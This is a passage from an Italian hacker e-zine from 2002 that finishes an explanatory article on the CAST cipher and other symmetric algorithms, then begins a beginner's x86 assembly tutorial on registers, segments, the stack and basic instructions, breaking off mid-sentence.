S[7](x8) | | | | [z4z5z6z7] = [x8x9xAxB] ^^ S[5](z0) ^^ S[6](z2) | | ^^ S[7](z1) ^^ S[8](z3) ^^ S[8](xA) | | | | [z8z9zAzB] = [xCxDxExF] ^^ S[5](z7) ^^ S[6](z6) | | ^^ S[7](z5) ^^ S[8](z4) ^^ S[5](x9) | | | | [zCzDzEzF] = [x4x5x6x7] ^^ S[5](zA) ^^ S[6](z9) | | ^^ S[7](zB) ^^ S[8](z8) ^^ S[6](xB) | | | | | | - generiamo le prime 4 sottochiavi k[i]: | | | | k[1] = S[5](z8) ^^ S[6](z9) ^^ S[7](z7) ^^ S[8](z6) ^^ S[5](z2) | | k[2] = S[5](zA) ^^ S[6](zB) ^^ S[7](z5) ^^ S[8](z4) ^^ S[6](z6) | | k[3] = S[5](zC) ^^ S[6](zD) ^^ S[7](z3) ^^ S[8](z2) ^^ S[7](z9) | | k[4] = S[5](zE) ^^ S[6](zF) ^^ S[7](z1) ^^ S[8](z0) ^^ S[8](zC) | | | | | | - ora modifichiamo la chiave K, operando su 32 bit per volta: | | | | [x0x1x2x3] = [z8z9zAzB] ^^ S[5](z5) ^^ S[6](z7) | | ^^ S[7](z4) ^^ S[8](z6) ^^ S[7](z0) | | | | [x4x5x6x7] = [z0z1z2z3] ^^ S[5](x0) ^^ S[6](x2) | | ^^ S[7](x1) ^^ S[8](x3) ^^ S[8](z2) | | | | [x8x9xAxB] = [z4z5z6z7] ^^ S[5](x7) ^^ S[6](x6) | | ^^ S[7](x5) ^^ S[8](x4) ^^ S[5](z1) | | | | [xCxDxExF] = [zCzDzEzF] ^^ S[5](xA) ^^ S[6](x9) | | ^^ S[7](xB) ^^ S[8](x8) ^^ S[6](z3) | | | | | | - generiamo altre 4 sottochiavi: | | | | k[5] = S[5](x3) ^^ S[6](x2) ^^ S[7](xC) ^^ S[8](xD) ^^ S[5](x8) | | k[6] = S[5](x1) ^^ S[6](x0) ^^ S[7](xE) ^^ S[8](xF) ^^ S[6](xD) | | k[7] = S[5](x7) ^^ S[6](x6) ^^ S[7](x8) ^^ S[8](x9) ^^ S[7](x3) | | k[8] = S[5](x5) ^^ S[6](x4) ^^ S[7](xA) ^^ S[8](xB) ^^ S[8](x7) | | | | | | - modifichiamo il blocco di swap 32 byte per volta, come quando | | l'avevamo inizializzato: | | | | [z0z1z2z3] = [x0x1x2x3] ^^ S[5](xD) ^^ S[6](xF) | | ^^ S[7](xC) ^^ S[8](xE) ^^ S[7](x8) | | | | [z4z5z6z7] = [x8x9xAxB] ^^ S[5](z0) ^^ S[6](z2) | | ^^ S[7](z1) ^^ S[8](z3) ^^ S[8](xA) | | | | [z8z9zAzB] = [xCxDxExF] ^^ S[5](z7) ^^ S[6](z6) | | ^^ S[7](z5) ^^ S[8](z4) ^^ S[5](x9) | | | | [zCzDzEzF] = [x4x5x6x7] ^^ S[5](zA) ^^ S[6](z9) | | ^^ S[7](zB) ^^ S[8](z8) ^^ S[6](xB) | | | | | | - generiamo altre 4 sottochiavi: | | | | k[9] = S[5](z3) ^^ S[6](z2) ^^ S[7](zC) ^^ S[8](zD) ^^ S[5](z9) | | k[10] = S[5](z1) ^^ S[6](z0) ^^ S[7](zE) ^^ S[8](zF) ^^ S[6](zC) | | k[11] = S[5](z7) ^^ S[6](z6) ^^ S[7](z8) ^^ S[8](z9) ^^ S[7](z2) | | k[12] = S[5](z5) ^^ S[6](z4) ^^ S[7](zA) ^^ S[8](zB) ^^ S[8](z6) | | | | | | - rimodifichiamo la chiave K, operando sempre su 32 bit per volta: | | | | [x0x1x2x3] = [z8z9zAzB] ^^ S[5](z5) ^^ S[6](z7) | | ^^ S[7](z4) ^^ S[8](z6) ^^ S[7](z0) | | | | [x4x5x6x7] = [z0z1z2z3] ^^ S[5](x0) ^^ S[6](x2) | | ^^ S[7](x1) ^^ S[8](x3) ^^ S[8](z2) | | | | [x8x9xAxB] = [z4z5z6z7] ^^ S[5](x7) ^^ S[6](x6) | | ^^ S[7](x5) ^^ S[8](x4) ^^ S[5](z1) | | | | [xCxDxExF] = [zCzDzEzF] ^^ S[5](xA) ^^ S[6](x9) | | ^^ S[7](xB) ^^ S[8](x8) ^^ S[6](z3) | | | | | | - generiamo altre 4 sottochiavi: | | | | k[13] = S[5](x8) ^^ S[6](x9) ^^ S[7](x7) ^^ S[8](x6) ^^ S[5](x3) | | k[14] = S[5](xA) ^^ S[6](xB) ^^ S[7](x5) ^^ S[8](x4) ^^ S[6](x7) | | k[15] = S[5](xC) ^^ S[6](xD) ^^ S[7](x3) ^^ S[8](x2) ^^ S[7](x8) | | k[16] = S[5](xE) ^^ S[6](xF) ^^ S[7](x1) ^^ S[8](x0) ^^ S[8](xD) | | | | | | - ripetiamo TUTTO il procedimento una seconda volta per ottenere le | | chiavi da [17] a [32] | | | | Ora abbiamo le 32 sottochiavi. Per la precisione abbiamo 16 COPPIE di | | sottochiavi: le sottochiavi da 1 a 16 sono chiavi operanti direttamente | | (masking key) e saranno indicate con km[i], le chiavi da 17 a 32 sono | | chiavi di rotazione (indicate con kr[i]). In queste ultime, pur essendo | | di 32 bit, vengono usati solo i 5 bit low-end: tali bit daranno un | | valore che indicherà il numero di posizioni di cui bisognerà ROLlare i | | blocchi nelle funzioni F1, F2 ed F3, che ora andremo a vedere. | | Quindi in ognuno dei 16 round (indicati con [i]) intervengono non una, | | bensì DUE chiavi: una sarà km[i] e sarà utilizzata direttamente, l'altra | | sarà kr[i] e darà il valore dei ROL. Visto che noi abbiamo ottenuto 32 | | chiavi k, da k[1] a k[32], considerate la seguente relazione: | | | | for (i = 1 to 16) {km[i] = k[i] ; kr[i] = k[16+i]} | | | | quindi, ad esempio, k[1] e k[17] saranno rispettivamente km[1] e kr[1], | | e interverranno entrambe nel primo round. | | | | | | | | | | < LA FUNZIONE F1 > | | | | La funzione F1 accetta in entrata un blocco R[i] da 32 bit e due | | sottochiavi, km[i] e kr[i] da 32 bit anch'esse, e restituisce un'output | | O sempre di 32 bit. | | | | - Si effettua un'addizione modulare tra R[i] e km[i], si ROLla tale | | somma di n posizioni, dove n è il valore assunto dai 5 bit low-end di | | kr[i], il risultato lo indichiamo con I: | | | | I = (R[i] (+) km[i]) <<< (kr[i] % (2^5)) | | | | - Si spezza I in 4 byte, I[a], I[b], I[c] e I[d]. | | | | - Si passa I[a] alla S-Box S[1], I[b] alla S-Box S[2], I[c] alla S-Box | | S[3] e I[d] alla S-Box S[4], indichiamo i risultanti blocchi a 32 bit | | rispettivamente come A, B, C e D: | | | | A = S[1](I[a]) B = S[2](I[b]) | | C = S[3](I[c]) D = S[4](I[d]) | | | | - Si effettua prima uno Xor tra A e B, al risultato si sottrae C e si | | aggiunge D, il risultato di tutto ciò è l'output O della funzione: | | | | O = (A ^^ B) (-) C (+) D | | | | | | | | | | < LA FUNZIONE F2 > | | | | La funzione F2 accetta in entrata un blocco R[i] da 32 bit e due | | sottochiavi, km[i] e kr[i] da 32 bit anch'esse, e restituisce un'output | | O sempre di 32 bit. | | | | - Si effettua uno Xor tra R[i] e km[i], il risultato lo si ROLla di n | | posizioni, dove n è il valore assunto dai 5 bit low-end di kr[i], il | | nuovo risultato lo indichiamo con I: | | | | I = (R[i] ^^ km[i]) <<< (kr[i] % (2^5)) | | | | - Si spezza I in 4 byte, I[a], I[b], I[c] e I[d]. | | | | - Si passa I[a] alla S-Box S[1], I[b] alla S-Box S[2], I[c] alla S-Box | | S[3] e I[d] alla S-Box S[4], indichiamo i risultanti blocchi a 32 bit | | rispettivamente come A, B, C e D: | | | | A = S[1](I[a]) B = S[2](I[b]) | | C = S[3](I[c]) D = S[4](I[d]) | | | | - Si sottrae prima il valore di B ad A, poi si aggiunge C, infine si | | effettua uno Xor tra il risultato e D, ciò che otteniamo è l'output O | | della funzione: | | | | O = (A (-) B (+) C) ^^ D | | | | | | | | | | < LA FUNZIONE F3 > | | | | La funzione F3 accetta in entrata un blocco R[i] da 32 bit e due | | sottochiavi, km[i] e kr[i] da 32 bit anch'esse, e restituisce un'output | | O sempre di 32 bit. | | | | - Si sottrae il valore di R[i] a km[i], il risultato lo si ROLla di n | | posizioni, dove n è il valore assunto dai 5 bit low-end di kr[i], il | | nuovo risultato lo indichiamo con I: | | | | I = (km[i] (-) R[i]) <<< (kr[i] % (2^5)) | | | | - Si spezza I in 4 byte, I[a], I[b], I[c] e I[d]. | | | | - Si passa I[a] alla S-Box S[1], I[b] alla S-Box S[2], I[c] alla S-Box | | S[3] e I[d] alla S-Box S[4], indichiamo i risultanti blocchi a 32 bit | | rispettivamente come A, B, C e D: | | | | A = S[1](I[a]) B = S[2](I[b]) | | C = S[3](I[c]) D = S[4](I[d]) | | | | - Si sommano prima A e B, poi si effettua uno Xor con C e al risultato | | si sottrae il valore di D, ciò che otteniamo è l'output O della | | funzione: | | | | O = (A (+) B) ^^ C) (-) D | | | | | | | | < FUNZIONAMENTO DELL'ALGORITMO > | | | | L'algoritmo si comporta come un cifrario Feistel, l'unica differenza è | | che la funzione F cambia a seconda del round. In particolare, come | | abbiamo già visto, ci sono tre funzioni diverse, le quali fanno uso di | | un ROL variabile per eludere la crittanalisi lineare e differenziale. | | | | - Innanzitutto si generano le sottochiavi a partire dalla chiave K. | | | | - Si divide il blocco da crittare in due metà, L[0] e R[0] | | | | - Si eseguono i 16 round: | | | | for (i = 1 to 16) { | | | | - Si processa la metà destra precedente tramite una funzione Fx, | | dove x dipende dal round: | | | | I round 1, 4, 7, 10, 13, e 16 usano la funzione F1 | | I round 2, 5, 8, 11, e 14 usano la funzione F2 | | I round 3, 6, 9, 12, e 15 usano la funzione F3 | | | | ciascuna di queste funzioni usa la coppia di chiavi del round | | corrente, km[i] e kr[i]. | | | | - Si XORa l'output della Fx con la vecchia metà sinistra per | | trovare la nuova metà destra: | | | | R[i] = Fx(R[i-1]) Xor L[i] | | | | - La vecchia metà destra diventa la nuova metà sinistra: | | | | L[i] = R[i-1] | | | | } | | | | - Si riuniscono le due metà per formare il cyphertext. | | | | | | Trattandosi di un cifrario Feistel la decrittazione è identica, cambia | | solo l'ordine delle sottochiavi e l'ordine delle metà in input. | | | | | | | | | | ======================= | | *** ALTRI ALGORITMI *** | | ======================= | | | | [Blowfish] | | | | Il Blowfish è un cifrario a blocchi sviluppato da Bruce Schneier. Esso è | | considerato piuttosto sicuro ed ha conosciuto una vasta diffusione ed un | | largo utilizzo in molte applicazioni, tra cui citiamo Nautilus e | | PGPphone. Lavora su blocchi di 64 bit ed ha una keysize variabile fino a | | 448 bit! | | Il Blowfish utilizza l'idea delle S-Box randomizzate: durante il key | | scheduling l'algoritmo genera vaste tabelle di lookup di dati | | pseudorandom effettuando diverse crittazioni a cascata. La generazione | | delle tabelle dipende dalla chiave immessa dall'utente in una maniera | | complessissima. Questa strategia si è dimostrata efficacissima contro la | | crittanalisi lineare e differenziale, ma sfortunatamente richiede un | | grosso dispendio in termini di risorse di sistema. | | I soli attacchi conosciuti contro il Blowfish sono basati sulla classe | | delle sue chiavi deboli. | | | | | | | | [SkipJack] | | | | Lo SkipJack è l'algoritmo contenuto nel Clipper Chip. Esso è stato | | sviluppato dall'NSA per tenere "sotto controllo" la diffusione della | | crittografia, tanto che avrebbe dovuto sostituire il DES come standard | | federale. Fortunatamente la sua analisi ha dimostrato ben presto che non | | risulta affatto affidabile, motivo per cui attualmente esso non è | | accettato dal pubblico. | | Il funzionamento interno è sotto la protezione del governo degli Stati | | Uniti, si sa solo che è un algoritmo a blocchi utilizzabile in tutte e 4 | | le modalità che lavora su blocchi di 64 bit. Il bello però è che la | | chiave è di soli 80 bit... ;) | | | | | | | | [RCx] | | | | Rivest's Code o Ron's Code. Tutta questa famiglia di cifrari ha in | | comune di essere stata ideata da Rivest. Alcuni sono a blocchi, altri a | | flusso, ma finora nessuno è considerato sicuro. | | | | | | | | [RC4] | | | | L'RC4 è un cifrario a flusso ideato da Ron Rivest alla RSA Data Security | | Inc. Esso avrebbe dovuto essere un segreto commerciale, finchè qualcuno | | ne ha postato i sorgenti in usenet, sorgenti che si sono poi rivelati | | essere effettivamente equivalenti all'RC4. La sua sicurezza è ancora da | | stabilire, ma non sembra molto sicuro. La sua velocità però è | | impressionante, a causa di ciò può avere interesse in alcune | | applicazioni. Accetta chiavi di lunghezza arbitraria. L'algoritmo è | | essenzialmente un generatore di bit pseudocasuali che vengono XORati col | | flusso di dati. | | Il governo USA approva l'esportazione di RC4 a 40 bit di dimensione | | della chiave (ridicolo!). E' interessante sapere che la versione | | esportabile di SSL per Netscape che usa l'RC4-40 è stata tranquillamente | | crackata in 8 giorni da almeno due gruppi indipendenti. Al giorno d'oggi | | potrebbe farcela in meno tempo un pc domestico. | | | | | | | | [Ax] | | | | La classe di cifrari Ax appartiene alla famiglia dei SSSC, ovvero | | cifrari a flusso autosincronizzanti. L'applicazione più famosa è l'A5, | | utilizzato nel sistema GSM per "crittare" le comunicazioni. Metto le | | "virgolette" perchè questa versione lavora su flussi di dati di 64 bit | | con una chiave di soli 40 bit, e al giorno d'oggi fa letteralmente | | ridere. | | | | | | | | [Safer] | | | | E' un algoritmo ideato da Massey. Ce ne sono due varianti, una con | | chiave a 64 bit e una a 128. | | | | | | | | [AES] | | | | In risposta alle richieste di maggior sicurezza derivate dalle sempre | | più evidenti possibilità d'attacco contro il DES, il NIST lanciò una | | richiesta per la propsta di un successore ufficiale del DES che avrebbe | | dovuto incontrare i bisogni della sicurezza nel 21° secolo. Il | | successore sarebbe stato chiamato AES (Advanced Encryption Standard). | | Cinque algoritmi risposero all'appello, tra questi fu scelto il Rijndael | | come standard finale, quindi oggi col nome AES si intende normalmente il | | Rijndael. Ora daremo un rapido sguardo a questi 5 algoritmi, tutti sono | | cifrari a blocchi che lavorano su blocchi di 128 bit e supportano una | | keysize di 128, 192 e 256 bit. Le grosse dimensioni delle chiavi servono | | anche probabilmente ad implementare efficaciemente funzioni di hashing | | di prossima generazione. | | | | < Rijndael > di Joan Daemen e Vincent Rijmen, crittografi belgi. | | Il Rijndael appartiene alla cosiddetta famiglia dei "cifrari quadrati". | | E' stato scelto perchè ha ottime performance sia in modalità software | | che hardware, in un ampio range di scenari ed ambienti ed in tutte le 4 | | modalità. Ha un eccellente tempo di key scheduling e bassi requisiti di | | memoria, inoltre le sue operazioni sono facili da proteggere contro i | | power e timing attacks (ne parleremo più avanti). Comunque la scelta del | | Rijndael non fu facile, perchè il NIST decretò che tutti e cinque gli | | algoritmi erano ottimi. | | | | < MARS > di Zunic e collaboratori, IBM labs. | | La sua progettazione è molto interessante, si tratta di una specie di | | cifrario Feistel modificato che sfrutta pesantemente il set di | | istruzioni presente nei moderni processori a 32 bit. Ciò significa che | | su queste macchine è spaventosamente veloce, ma può presentare problemi | | nell'implementazione su dispositivi più economici, tipo le smart cards. | | | | < RC6 > di Rivest, Robshaw e Yin, RSA labs. | | Altro cifrario della famiglia RCx, si basa sulle stesse idee dell'RC5 (a | | blocchi), ma con alcune migliorie. Ad esempio, tenta di evitare alcuni | | degli attacchi differenziali conducibili sulle rotazioni dipendanti dai | | dati sfruttate nell'RC5. Ci sono comunque attacchi che sembrano | | funzionare, ed in generale non è chiaro se l'RC6 sia stato ben | | analizzato finora. | | | | < Serpent > di Anderson, Biham e Knudsen. | | Serpent ha un design per molti versi innovatrivo. Esso si basa sulle | | operazioni effettuate tramite registri a porte logiche bitslice, cioè | | operanti su singoli bit. Questo lo rende piuttosto difficile da | | implementare via software, e realizzandolo hardware in modalità | | non-bitslice si perde moltissimo in efficienza. In modalità bitslice è | | piuttosto veloce, ed i suoi 32 round lo rendono probabilmente il | | candidato più sicuro tra i cinque. | | | | < Twofish > di Schneier e collaboratori, Counterpane Security. | | E' un nuovo cifrario a blocchi della Counterpane. Il progetto è molto | | particolare, con molte modalità alternative di implementazione. Non è | | ancora del tutto chiaro se sia sicuro o no. Principalmente è un cifrario | | Feistel modificato, ma utilizza molte features differenti, tra cui le | | S.Box randomizzate usate anche nel Blowfish. | | | | | | | | | | ============================= | | *** CONSIDERAZIONI FINALI *** | | ============================= | | | | Abbiamo finalmente finito di analizzare gli algoritmi simmetrici | | two-way. E questo è solo un assaggio, perchè la prossima volta ci | | divertiremo con quelli asimmetrici! :))) | | Ci sono comunque un altro paio di considerazioni che bisogna fare. | | | | La prima è una questione ideologica. Ho conosciuto un sacco di persone | | che mi hanno detto una cosa del genere: | | | | "La crittografia non serve a una sega, se LORO vogliono decrittare i | | tuoi messaggi ci riescono e basta!". | | | | Dunque, io non ho MAI detto che gli algoritmi oggi considerati sicuri lo | | siano davvero, e non lo dirò probabilmente mai. Ma non mi sembra | | comunque nè costruttivo nè intelligente arrendersi e accettare a priori | | il fatto che nessun algoritmo sia sicuro. Ma come fate ad esserne certi? | | Lavorate all'NSA? :P | | Inoltre la cosa bella è che questa gente nella maggior parte dei casi | | non ha NESSUNA conoscenza di crittologia. Ma volete almeno documentarvi | | un po' prima di sparare sentenze che non sapete neanche che significano? | | Quanti di voi sapevano già ricostruire l'algoritmo CAST? Quanti di voi | | saprebbero ricostruire un algoritmo di firma elettronica? E poi c'è | | anche la gente che mi viene a dire in chat con aria spavalda, riguardo | | alla sicurezza dell'RSA, che sapere il funzionamento dell'RSA è inutile | | perchè tanto l'algoritmo è insicuro. "Perchè?" chiedo io. Ecco la | | risposta: | | | | "Mai sentito parlare di chiavi universali?"... | | | | Questa è stata una delle più grosse cazzate che ho mai sentito | | sull'argomento. Non sono IO a dire che NON POSSONO esistere "chiavi | | universali" per l'RSA, lo dice una sfilza così di precisi TEOREMI | | MATEMATICI. Se poi nel mondo immaginario in cui vivono queste persone la | | matematica è un'opinione, beh, allora è un'altra storia... :P | | Potete venirmi a dire che esistono backdoors nel PGP per quanto riguarda | | l'RSA, potete venirmi a dire che le società governative dispongono di | | una potenza di calcolo che rende inutili perfino le chiavi a 2048 bit, | | potete dirmi che l'NSA ha scoperto un nuovo algoritmo di | | fattorizzazione... | | Ma cazzo, non venitemi a dire che l'RSA ha chiavi universali!!! | | | | E questa è solo UNA delle tante cazzate, ne esistono ben altre, ma non | | mi sembra il caso di rendervene partecipi... | | | | | | La seconda questione riguarda la realizzazione pratica degli algoritmi. | | Vi sarete resi conto che ogni ciclo di crittazione è normalmente MOLTO | | complesso, ma vale la pena notare che le operazioni usate sono molto | | semplici e sono ciascuna eseguibile direttamente da una qualche | | istruzione delle nostre CPU. E' per questo che per realizzare programmi | | di crittografia come si deve è indispensabile l'ASM, o quanto meno un | | linguaggio a molto basso livello, forse lo C++ è già troppo lento, | | figurarsi il VB! Per questo conviene mettere le funzioni di crittazione | | in una libreria realizzata in qualcosa tipo C implementando | | contemporaneamente routine in assembly, o addirittura realizzare queste | | librerie direttamente in assembly! | | | | | | L'ultima considerazione riguarda la complessità degli algoritmi. | | Sostituzioni e permutazioni, pur essendo largamente usate, vengono | | spesso viste con sospetto perchè cambiano l'ordinamento dei dati in | | maniera spesso arbitraria dipendente dagli ideatori. Il livello di | | complessità che si viene a creare (tralaltro spesso inutile) fa sì che | | sia facile per un'ipotetica società governativa nascondere delle "falle" | | nell'algoritmo che possano essere sfruttate mediante l'uso di chiavi | | deboli o semideboli e che solo con anni di attenta crittanalisi | | potrebbero essere individuate. E' per questo che mi piace molto l'IDEA | | come algoritmo, perchè non usa le S-Box. Ma eventualmente anche l'idea | | delle S-Box randomizzate potrebbe essere apprezzabile. | | | | | | Bene ragassuoli, per ora questo è quanto :) | | Ci si vede più in là, e non mancate la prossima puntata!... | | | | Zer0 | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #06 - 25/04/2002 | | ASSEMBLY? N0 GRAZiE N0N FUM0 [V0LUME I] [e4m] 0x1A/0x1D | +--------------------------------------------------------------------------+ | [nAmE:] - Assembly..? No grazie! Non fumo! - | | [aUth0r:] -Written by e4m - | | [MaIL:] - Personal: Tezkatlipoka@libero.it | | [W0rK:] - Crypto@sikurezza.org - | | [cReW:] - Www.bfc.too.it ; On irc.azzurranet.org:6667 #bfc - | | [gReaTz:] - Libro Architettura I - ; t0qIhNo ; #Crack-it ; #Asm | | | | +---------------------+ | | | [sEZIONi tESTo] | | | +---------------------+ | | | Assembly? No grazie!| | | | Non fumo! | | | +---------------------+ | | | Volume I | | | +---------------------+ | | |*iNTRODUZIONe aSm | | | |*rEGISTRi | | | |*sEGMENTi e oFFSETs | | | |*sTACk | | | |*iSTRUZIONi aSm | | | |*hELLo wORd-cOMPILa. | | | |*iSTRUZIONI vARIe | | | |*iNTRo aLLe prOCEDure| | | +---------------------+ | | | Volume II | | | +---------------------+ | | |*mACRo | | | |*iNtRo aL LinUx AsM | | | |*fINe | | | +---------------------+ | | | | | | -----------[ INTRODUZIONE ASM ]-------------------------------------- | | | | Salve e ben ritrovati! Vorrei fare una piccola introduzione al testo. | | Prima di tutto mi piace usare l'ironia per rappresentare qualsiasi | | tute testo o spiegazione, infatti questo testo " Assembly..? No | | grazie! Non fumo " e' logicamente molto scherzoso! Assembler e' un | | linguaggio che tutti sognano di imparare! almeno paragonano questo | | linguaggio a quello degli "hacker"..non ho capito perche'! E' anche | | vero che e' "Universale",tramite l'asm puoi comunicare con la tua | | macchina in modo veloce e flessibile! Ad esempio parlare con un | | cinese attraverso un traduttore risulta molto piu lungo e faticoso che | | parlare con un italiano! Il linguaggio della macchina e' l'asm , e noi | | cercheremo di impararlo partendoi da 0 :) .. Sara' una faticaccia ma | | vi speghero' quelle poche cose che so'! Quella che affronteremo sara' | | la famiglia 80x06 e' nata nel 1981 con il processore 8086 e prosegue | | attualmente con la linea Pentium. Cio' che accomuna tutti questi | | processori e' che sono tutti compatibili all'indietro, ma ciascuna | | nuova generazione ha aggiunto via via nuove caratteristiche e maggior | | potenza di calcolo rispetto ai suoi predecessori. Quindi 8088, 8086, | | 286, 386 o 486 sono ormai scomparsi perche' lenti e superati. Oggi | | Pentium MMX, Pentium II e il III sono i piu utilizzati! Prima di | | cominciare a parlare d'asm analizzeremo il modo come i numeri sono | | rappresentati all'interno della CPU. Anate di fretta? Bhe con la | | fretta non si risolve nulla! Mi ci e' voluto tempo (fin troppo) per | | capuire come funziona questo linguaggio) non essendo troppo facile! | | (Fatta questa premessina iniziamo!). I numero sono rappresentati in | | notazione binaria, ovvero in base 2. Quindi esistono numeri di diversa | | simensione: | | | | 1BIT:0 ;e' semplice assume valore di 1 o 0 | | | | Un nibble e' quattro bit o mezzo byte .( Che gioco di parole=) Esso e' | | la base della notazione esadecimale (base 16), che viene utilizzata | | per rappresentare i numeri nei programmi Assembly. I esadecimali | | vengono rappresentati con un suffisso "h" per indicare che il numero | | e' espresso in questa notazione. Vanno da 1 a F. Ad esempio: Fh = 15 | | decimale. I numeri esadecimali che cominciano con una lettera sono | | preceduti da uno 0 . | | | | 1 BYTE 00000000 | | 2 NIBBLES | | 8 BITS | | | | Un byte e' 8 bit o 2 nibble. Un byte ha un valore massimo di FFh (255 | | decimale). Un byte e' anche la dimensione dei registri a 8-bit. Una | | word e' costituita invece, da due byte affiancati. Una word puo' | | assumere un valore massimo di FFFFh (65536). una word e' composta da | | quattro nibble, è rappresentata da quattro cifre esadecimali . E' la | | dimensione dei registi a 16-bit..Infatti: | | | | 1 WORD 0000000000000000 (16 zero=16bit) | | 2 BYTES | | 4 NIBBLES | | 16 BITS | | | | ------------[ REGISTRI ]--------------------------------------------- | | | | Quindi conoscendo i numeri dobbiamo conoscere i registri che sono | | locazioni di memoria all'interno della CPU dove un numero puo' essere | | memorizzato e manipolato! Esistono 8-bit, 16-bit (come abbiam gia | | visto=) , dal 386 in poi vi sono i 32-bit! Vi sono quattro differenti | | tipi di registri: registri general-purpose, registri di segmento, | | registri indice e registri di stack. Quelli di stack e di segmento, | | sono un po' particolari, li vedremo in seguito! | | | | Registri General-Purpose | | | | | | 15 7 0 | | +--------+ | | |AH | AL| AX | | |BH | BL| BX | | |CH | CL| CX | | |DH | DL| DX | | +--------+ | | | | Vi sono quattro registri general-purpose: AX, BX, CX, DX. (Sono | | registri a 16-bit.) Sono suddivisi in registri a 8-bit. AX e' | | suddiviso in AH, che contiene il byte alto e AL che contiene il byte | | basso. Con il processore 386 e superiori vi sono anche registri a 32 | | -bit. Questi hanno gli stessi nomi dei registri a 16-bit ma con una E | | come prefisso (es EAX). Si possono utilizzare AL, AH, AX ed EAX | | separatamente e considerare come registri separati per alcune | | oprazioni. | | | | Se AX contenesse 24689 decimal: | | | | AH AL | | 01100000 01110001 | | | | AH varrebbe 96 e AL varrebbe 113. Se aggiungessimo 1 ad AL, questo | | varrebbe 114 e AH rimarrebbe invariato . SI, DI, SP e BP possono | | essere utilizzati come registri general-purpose, ma hanno usi piu' | | specifici. Questi non sono suddivisi in due meta'. | | | | | | | | -Registri di Stack | | | | Son BP e SP Li vedremo in seguito. Si usano quando si ha a che fare con | | stack! | | --------------- | | | | -Registri Indice | | | | Sono a 16bit (registri puntatore).Si utilizzano con le istruzioini che | | operano con le stringhe di caratteri. Vi sono tre registri indice: SI | | (source index), DI (destination index) e IP (instruction pointer). | | Come registro indice per le stringhe si può usare anche il registro | | BX. IP e' un registro indice ma non puo' essere manipolato | | direttamente poiche' contiene l'indirizzo dell'istruzione successiva | | durante l'esecuzione. | | | | --------------[ SEGMENTI E OFFSETS ]--------------------------------- | | | | I registri hanno solo 16 bit,il problema e' che per indirizzare un | | intero megabyte sono necessari almeno 20 bit. Cosi' sono nati i | | segmenti e gli Offsets. Ci permettono l'indirizzamento con due | | registri, ma senza utilizzare 32 bit (esagerato per chiunque). | | | | OFFSET = SEGMENT * 16 | | SEGMENT = OFFSET / 16 | | | | Un registro contiene il segmento e un altro registro contiene | | l'offset. Unendo insieme i due registri si ottiene un indirizzo a 20 | | -bit. Questi progettisti erano ingegnosi!! ehh?? ;) | | | | SEGMENT 0010010000010000---- | | OFFSET ----0100100000100010 | | 20-bit Address 00101000100100100010 | | | | DS contiene il segmento e SI contiene l'offset. (Da ricordare!!) | | Poiche' entrambi hanno dimensione 16-bit gli indirizzi si accavallano. | | DS:SI e' come mostrato nell'esempio una coppia di qujesti indirizzi | | per giungere a 20bit! Notazione standard per una coppia | | Segmento/Offset e' SEGMENT:OFFSET. ( da ricordate anch'esso). | | | | I registri di segmento sono CS, DS, ES, SS. Con il 386 e processori | | successivi esistono anche FS e GS. Analizzeremo quindi ora lo stack! | | | | --------------[ STACK ]---------------------------------------------- | | | | Esiste una speciale area di memoria, denominata stack, in cui possono | | essere salvati e recuperati i valori desiderati. Quest'area di memoria | | e' organizzata come una pila di piatti. L'ultimo che viene messo e' il | | primo ad essere prelevato. Questo tipo di organizzazione e' denominata | | Last On First Off (LOFO) oppure Last In First Out (LIFO). (Ma non so | | molto , anzi nulla :P) Vediamo se mi esce il disegnino: | | | | |Higt addresses | | | | | | +--------+ | | | ||DatA | | | |StaCk | pUsched| | | |GrOwS +--------+ <---(SP) sTAck PoInTeR | | | | | | | | | FreE | | | | | SpAcE | | | | | | | | | +--------+ <--- (SS) stAcK sEgMEnT | | | | | V Low addresses | | | | Via via che nuovi dati sono posti nello stack, questo cresce verso il | | basso. Come si vede dalla figura, lo stack ha inizio ad un indirizzo | | alto e cresce verso il basso. E' opportuno accertarsi di non mettere | | troppi dati nello stack, se non si vuole rischiare l'errore di stack | | overflow. (cOme e' solito che accada!!) Questo e' quanto so dello | | stack! L'esperienza mi ha portato ad approfondire un pokino pokino.. | | :) | | | | --------------[ iSTRUZIONI ASM ] ------------------------------------ | | | | Esistono moltissime istruzionui asm, quelle importantissime (da | | ricordare sono una ventina!) .La maggior parte delle istruzioni sono | | identificate da un codice mnemonico di tre caratteri e sono seguite da | | uno o piu' operandi separati da virgole. Per esempio per mettere un | | dato in un registro, si puo' utilizzare l'istruzione MOV. Oppure il | | famoso salto JMP! Per poter commentare un codice si usa il ";" Cosi': | | | | mov ax,10 ; colloca 10 in ax! | | | | Abbiamo gia' parlato dello stack, ma non di come fare ad inserire e | | prelevare i dati. Sicuramente avrete sentito gia' PUSH & POP !!Ebbene | | sono questi! Ecco la sintassi per utilizzarli: | | | | -PUSH: Inserisce un dato in cima allo stack | | | | Sintassi: push dato | | | | -POP: Preleva un dato dallo stack e lo memorizza in uno specifico | | registro o variabile. | | | | Sintassi: pop registro (o variabile) | | | | Questo esempio di codice mostra come utilizzare le istruzioni PUSH e | | POP :) | | | | push cx ; colloca cx nello stack | | push ax ; colloca anche ax | | pop cx ; estrae il valore dallo stack in cx | | pop ax ; estrae il valore dallo stack in cx | | | | Notate che i valori di CX e AX vengono scambiati. C'e' un istruzione | | specifica per scambiare i valori contenuti in due registri: XCHG, che | | puo' essere usato per rimpiazzare il precedente frammento di codice | | con la sola istruzione "xchg ax,cx". | | | | Questo e' un elenco di alcune importanti istruzioni che e' necessario | | conoscere prima di poter comprendere e scrivere programmi in Assembly. | | | | -MOV: copia un valore da una locazione ad un'altra. | | | | Sintassi: MOV destinazione, sorgente | | | | Ad esempio: | | | | mov ax,10 ; Non ha bisogno di commento! | | mov bx,cx ; Lo stesso! :) | | mov dx,Number ; moves il valore del numero in dx. | | | | | | -INT: richiama una funzione DOS o del BIOS. | | | | Sintassi: INT interrupt number | | | | Ad esempio: | | | | | | int 21h ; Chiama Dos | | int 10h ; Chiama il video del Bios! | | | | | | La maggior parte degli interrupt hanno piu' di una funzione. Questo | | significa che e' necessario fornire un numero specificatore alla | | funzione che si desidera richiamare. In genere questo numero viene | | specificato in AH. Ad esempio per stampare un messaggio sullo schermo | | bisogna fare cosi': | | | | | | mov ah,9 ; funzione 9! | | int 21h ; chiama l'interrupt dos e lo stampa. | | | | | | Ma prima bisogna specificare cosa stampare. Questa funzione richiede | | che: | | | | 